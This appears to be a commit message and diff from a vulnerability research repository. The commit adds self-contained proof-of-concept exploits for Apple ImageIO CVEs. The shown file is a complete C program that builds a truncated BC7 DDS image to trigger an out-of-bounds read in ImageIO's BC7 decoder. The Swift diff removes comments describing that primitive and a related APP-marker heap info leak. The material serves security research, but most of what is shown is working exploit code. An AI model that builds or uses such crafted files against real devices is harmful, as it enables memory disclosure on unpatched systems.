v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112627/CVE-2026-112627.c

@@ -0,0 +1,92 @@
+// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
+// BC7 DDS short mip level decode
+// C twin of the Swift POC: builds the truncated BC7 DDS and decodes it through ImageIO.
+// Variant iio.appx (APP marker overrun re-encode) is noted in the Swift POC.
+// Build: clang -O2 -o cve-2026-112627 CVE-2026-112627.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
+// Run:   ./cve-2026-112627 [data-bytes]
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// ── byte buffer ──
+typedef struct { uint8_t *d; size_t n, cap; } buf;
+static void bneed(buf *b, size_t extra) {
+    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
+}
+static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
+static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
+static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
+static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
+
+static void le32(buf *b, uint32_t v) {
+    bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
+}
+
+// ── seed construction (from Cinder27 Sources: TexturePayload.bc7Short) ──
+static buf dds_bc7_short(int width, int height, int data_bytes) {
+    buf out = {0};
+    bcat(&out, "DDS ", 4);
+    le32(&out, 124);                    // header size
+    le32(&out, 0x00081007);             // flags: caps2 cubemap? no — linear size + mipcount bits
+    le32(&out, (uint32_t)height);
+    le32(&out, (uint32_t)width);
+    le32(&out, 0);                      // pitch
+    le32(&out, 0);                      // depth
+    le32(&out, 1);                      // mip count
+    brep(&out, 0, 44);                  // reserved
+    le32(&out, 32);                     // pixel format size
+    le32(&out, 0x4);                    // fourcc flag
+    bcat(&out, "DX10", 4);
+    brep(&out, 0, 20);                  // pixel format tail
+    le32(&out, 0x1000);                 // caps2 cubemap flag
+    le32(&out, 0); le32(&out, 0); le32(&out, 0); le32(&out, 0);
+    // DX10 extension: BC7_UNORM = 98, dim 3, 0, array 1, 0
+    le32(&out, 98); le32(&out, 3); le32(&out, 0); le32(&out, 1); le32(&out, 0);
+    brep(&out, 0, data_bytes > 0 ? (size_t)data_bytes : 1);   // the short mip level
+    return out;
+}
+
+// ── trigger: decode through ImageIO ──
+#include <ImageIO/ImageIO.h>
+#include <CoreGraphics/CoreGraphics.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+static int decode_image(const buf *img, const char **detail) {
+    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
+    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
+    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
+    CFRelease(cf);
+    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
+    size_t frames = CGImageSourceGetCount(src);
+    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
+    static char r[256];
+    if (cg) {
+        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
+                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
+        CGImageRelease(cg);
+    } else {
+        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
+    }
+    CFRelease(src);
+    *detail = r;
+    return cg ? 0 : -1;
+}
+
+int main(int argc, char **argv) {
+    int width = 512, height = 512;
+    int data_bytes = argc > 1 ? atoi(argv[1]) : 64;
+
+    buf dds = dds_bc7_short(width, height, data_bytes);
+    FILE *f = fopen("bc7_short.dds", "wb");
+    if (f) { fwrite(dds.d, 1, dds.n, f); fclose(f); }
+
+    const char *detail = NULL;
+    int rc = decode_image(&dds, &detail);
+    int needed = (width / 4) * (height / 4) * 16;
+    printf("CVE-2026-112627 · %dx%d BC7 needs %d B, provided %d B · %s\n",
+           width, height, needed, data_bytes, detail ? detail : "?");
+    printf("seed: bc7_short.dds (%zu B) · exit code %d\n", dds.n, rc);
+    bfree(&dds);
+    return rc == 0 ? 0 : 1;
+}

CVE-2026-112627/CVE-2026-112627.swift

@@ -1,21 +1,8 @@
 // iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
-// 原语: OOB 读 · 进程内 · tier 2
-// Primitive: OOB read · in-process · tier 2
-//
-// [zh] BC7 纹理 mip 截断
-// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码，块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误，并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。
-//
-// [en] BC7 texture mip truncation
-// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block
-// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit
-// mip size arithmetic plus dimension and data-size gates.
-// ── 判别 / oracle ──
-// 512×512 BC7 需要 65536 字节，实际只给 64 字节。
-//  变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG
-
+// BC7 texture mip truncation
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -36,24 +23,8 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-/*
-// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561
-// 原语: 信息泄露 · 进程内 · tier 1
-// Primitive: info leak · in-process · tier 1
-//
-// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG
-// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流，不含任何边界运算。当标记声明的长度超出实际块时，重编码路径会把堆上相邻字节直接写入产出的
-// JPEG 文件 —— 泄露物即产物本身，不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制，超出时报 \"marker 0x%04X is out of bounds\"。
-//
-// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG
-// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with
-// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode
-// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself,
-// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting
-// "marker 0x%04X is out of bounds" when it overruns.
-*/
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ──
+// ── seed construction (from Cinder27 Sources: TexturePayload) ──
 enum TexturePayload {
 static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
         var out = Data("DDS ".utf8)